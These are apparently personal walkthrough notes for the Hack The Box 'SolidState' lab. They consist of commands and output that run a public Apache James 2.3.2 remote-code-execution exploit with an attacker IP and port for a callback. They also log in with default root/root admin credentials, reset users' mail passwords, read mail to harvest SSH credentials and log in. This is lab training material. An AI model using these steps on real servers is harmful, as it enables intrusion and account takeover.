Foothold

Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)Exploit Database

searchsploit -m 50347
python 50347.py 10.10.10.51 10.10.14.6 1337

nc 10.10.10.51 4555 -vv
root
root

setpassword james
Usage: setpassword [username] [password]
setpassword james adot8  
Password for james reset
setpassword john adot8
Password for john reset
setpassword mindy adot8
Password for mindy reset
setpassword mailadmin adot8      
Password for mailadmin reset
setpassword thomas adot8      
Password for thomas reset

adot@kali:~/oscp/htb/linux/solidstate$ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
user mindy 
+OK
pass adot8
+OK Welcome mindy
list
+OK 2 1945
1 1109
2 836
.
retr 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login. 
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

.

mindy:P@55W0rd1!2@

ssh [email protected]
P@55W0rd1!2@